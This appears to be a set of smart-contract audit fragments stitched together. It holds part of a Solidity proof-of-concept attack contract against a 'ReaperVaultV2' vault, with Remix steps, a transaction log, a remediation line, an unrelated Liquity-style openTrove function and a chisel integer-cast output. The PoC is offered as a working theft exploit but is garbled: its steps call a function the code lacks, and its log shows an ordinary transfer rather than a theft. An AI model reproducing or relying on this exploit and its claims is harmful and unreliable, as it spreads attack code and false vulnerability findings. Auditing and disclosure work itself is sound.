        aaa.addStrategy(address(aaa), uint256(77), uint256(77));
        aaa.updateStrategyFeeBPS(address(aaa), uint256(77));
        aaa.updateStrategyAllocBPS(address(aaa), uint256(77));
        aaa.revokeStrategy(address(aaa));
        aaa.availableCapital();
        aaa.balance();
        aaa.getPricePerFullShare();
        aaa.depositAll();
        aaa.deposit(uint256(77));
        aaa.withdrawAll();
        aaa.withdraw(uint256(77));
        aaa.report(int256(77), uint256(77));
        aaa.updateWithdrawMaxLoss(uint256(77));    
        aaa.updateTvlCap(uint256(77));
        aaa.removeTvlCap();
        aaa.setEmergencyShutdown(bool(true));
        aaa.setLockedProfitDegradation(uint256(77));
        aaa.updateTreasury(address(aaa));
        aaa.inCaseTokensGetStuck(address(aaa));
        aaa.decimals();
    }

    receive() external payable {
        aaa.addStrategy(address(aaa), uint256(77), uint256(77));
        aaa.updateStrategyFeeBPS(address(aaa), uint256(77));
        aaa.updateStrategyAllocBPS(address(aaa), uint256(77));
        aaa.revokeStrategy(address(aaa));
        aaa.availableCapital();
        aaa.balance();
        aaa.getPricePerFullShare();
        aaa.depositAll();
        aaa.deposit(uint256(77));
        aaa.withdrawAll();
        aaa.withdraw(uint256(77));
        aaa.report(int256(77), uint256(77));
        aaa.updateWithdrawMaxLoss(uint256(77));    
        aaa.updateTvlCap(uint256(77));
        aaa.removeTvlCap();
        aaa.setEmergencyShutdown(bool(true));
        aaa.setLockedProfitDegradation(uint256(77));
        aaa.updateTreasury(address(aaa));
        aaa.inCaseTokensGetStuck(address(aaa));
        aaa.decimals();
    }

    function attack() public payable {
        address(aaa).delegatecall(abi.encodeWithSignature("fallback()"));
        address(aaa).delegatecall(abi.encodeWithSignature("receive()"));
    }

}

# Prep:
Victim Contract
1. recreate the following contract in Remix IDE "ReaperVaultV2.sol"
2. compile contract
3. go to deploy and run transactions tab
4. set environment to Remix VM (Berlin)
5. select first account from drop down and copy its address
6. next to "At Address" button paste the address in and click "At Address" button and contract is deployed with 100 ETH. 

Attack Contract
7. In Remix IDE recreate my PoC code above and save as a contract called "ReaperVaultV2x.sol"
8. compile contract.
9. go to deploy and run transactions tab
10. set environment to Remix VM (Berlin). And set the value to 10 and the drop list to Ether.
11. select second account from drop down and copy the address of the first account
12. next to the "Deploy" button paste the first address of the victim and click the "deploy" button and contract is deployed
13. The select first account from "Account" drop list before next step.

Action
NB:
victim contract address 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
attack contract address 0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95

1. start balance of victim contract Balance: 100 ETH
2. start balance of attack contract Balance: 10 ETH
3. in deploy tab select victim contract.
4. in deploy tab under value enter 77 ether
5. under deploy tab within the ReaperVaultV2x.sol attack contract> go to function button called _withdraw() and in the input box enter 77 for _shares, and enter attacker contract address for _receiver e.g. 0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95 and enter victim contract address for _owner e.g. 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4. 
6. then click on _withdraw button or transact button if you have opened the drop down.
7. end balance of victim contract Balance: 22.999999999999976958 ETH
8. end balance of attack contract Balance: 87 ETH
9. Finally, 77 ETHER has been deducted from victim contract and deposited into attacker contract.  
10. The gas is charged to the victim contract.  Theft of gas.

# Log:
transact to ReaperVaultV2x._withdraw pending ... 
[vm]from: 0x5B3...eddC4to: ReaperVaultV2x._withdraw(uint256,address,address) 0xa13...eAD95value: 77000000000000000000 weidata: 0x0ca...eddc4logs: 0hash: 0x4db...e9ebe
status	true Transaction mined and execution succeed
transaction hash	0x4dbdb451f207944c5229cda918f51fdfcf4413acea3d1d86e21c955c5e0e9ebe
from	0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
to	ReaperVaultV2x._withdraw(uint256,address,address) 0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95
gas	26499 gas
transaction cost	23042 gas 
execution cost	1102 gas 
input	0x0ca...eddc4
decoded input	{
	"uint256 _shares": "77",
	"address _receiver": "0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95",
	"address _owner": "0x5B38Da6a701c568545dCfcB03FcB875f56beddC4"
}
decoded output	{
	"0": "uint256: value 0"
}
logs	[]
val	77000000000000000000 wei

Remix IDE VM Unit testing deployment in enclosed environment with a git clone of repository.

Implement controls so withdrawals can only be triggered by authorized parties or according to the specs of the smart contract system.

 function openTrove(address _collateral, uint _collAmount, uint _maxFeePercentage, uint _LUSDAmount, address _upperHint, address _lowerHint) external override {
        _requireValidCollateralAddress(_collateral);
        _requireSufficientCollateralBalanceAndAllowance(msg.sender, _collateral, _collAmount);
        ContractsCache memory contractsCache = ContractsCache(troveManager, activePool, lusdToken);
        LocalVariables_openTrove memory vars;

        vars.collCCR = collateralConfig.getCollateralCCR(_collateral);
        vars.collMCR = collateralConfig.getCollateralMCR(_collateral);
        vars.collDecimals = collateralConfig.getCollateralDecimals(_collateral);
        vars.price = priceFeed.fetchPrice(_collateral);
        bool isRecoveryMode = _checkRecoveryMode(_collateral, vars.price, vars.collCCR, vars.collDecimals);

        _requireValidMaxFeePercentage(_maxFeePercentage, isRecoveryMode);
        _requireTroveisNotActive(contractsCache.troveManager, msg.sender, _collateral);

        vars.netDebt = _LUSDAmount;

        if (!isRecoveryMode) {
            vars.LUSDFee = _triggerBorrowingFee(contractsCache.troveManager, contractsCache.lusdToken, _LUSDAmount, _maxFeePercentage);
            vars.netDebt = vars.netDebt.add(vars.LUSDFee);
        }
        _requireAtLeastMinNetDebt(vars.netDebt);

        // ICR is based on the composite debt, i.e. the requested LUSD amount + LUSD borrowing fee + LUSD gas comp.
        vars.compositeDebt = _getCompositeDebt(vars.netDebt);
        assert(vars.compositeDebt > 0);
        
        vars.ICR = LiquityMath._computeCR(_collAmount, vars.compositeDebt, vars.price, vars.collDecimals);
        vars.NICR = LiquityMath._computeNominalCR(_collAmount, vars.compositeDebt, vars.collDecimals);

        if (isRecoveryMode) {
            _requireICRisAboveCCR(vars.ICR, vars.collCCR);
        } else {
            _requireICRisAboveMCR(vars.ICR, vars.collMCR);
            uint newTCR = _getNewTCRFromTroveChange(
                _collateral,
                _collAmount,
                true, // coll increase
                vars.compositeDebt,
                true, // debt increase
                vars.price,
                vars.collDecimals
            );
            _requireNewTCRisAboveCCR(newTCR, vars.collCCR);
        }

        // Set the trove struct's properties
        contractsCache.troveManager.setTroveStatus(msg.sender, _collateral, 1);
        contractsCache.troveManager.increaseTroveColl(msg.sender, _collateral, _collAmount);
        contractsCache.troveManager.increaseTroveDebt(msg.sender, _collateral, vars.compositeDebt);

        contractsCache.troveManager.updateTroveRewardSnapshots(msg.sender, _collateral);
        vars.stake = contractsCache.troveManager.updateStakeAndTotalStakes(msg.sender, _collateral);

        sortedTroves.insert(_collateral, msg.sender, vars.NICR, _upperHint, _lowerHint);
        vars.arrayIndex = contractsCache.troveManager.addTroveOwnerToArray(msg.sender, _collateral);
        emit TroveCreated(msg.sender, _collateral, vars.arrayIndex);

        // Pull collateral, move it to the Active Pool, and mint the LUSDAmount to the borrower
        IERC20(_collateral).safeTransferFrom(msg.sender, address(this), _collAmount);
        _activePoolAddColl(contractsCache.activePool, _collateral, _collAmount);
        _withdrawLUSD(contractsCache.activePool, contractsCache.lusdToken, _collateral, msg.sender, _LUSDAmount, vars.netDebt);
        // Move the LUSD gas compensation to the Gas Pool
        _withdrawLUSD(contractsCache.activePool, contractsCache.lusdToken, _collateral, gasPoolAddress, LUSD_GAS_COMPENSATION, LUSD_GAS_COMPENSATION);

        emit TroveUpdated(msg.sender, _collateral, vars.compositeDebt, _collAmount, vars.stake, BorrowerOperation.openTrove);
        emit LUSDBorrowingFeePaid(msg.sender, _collateral, vars.LUSDFee);
    }

➜ type(uint128).max
Type: uint
├ Hex: 0xffffffffffffffffffffffffffffffff
└ Decimal: 340282366920938463463374607431768211455

➜ int128(type(uint128).max)
Type: int
├ Hex: 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
└ Decimal: -1